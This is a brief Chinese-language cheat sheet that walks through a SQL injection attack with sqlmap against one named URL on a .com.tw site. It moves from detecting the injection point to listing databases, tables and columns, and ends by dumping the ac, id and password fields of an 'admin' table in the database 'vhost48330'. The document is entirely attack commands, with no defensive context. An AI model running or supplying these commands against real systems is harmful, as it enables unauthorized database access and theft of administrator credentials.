检查注入点
1 | sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 |
列数据库信息
1 | sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs |
指定库名列出所有表
1 | sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables |
指定库名表名列出所有字段
1 | sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns |
指定库名表名字段dump出指定字段
1 | sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump |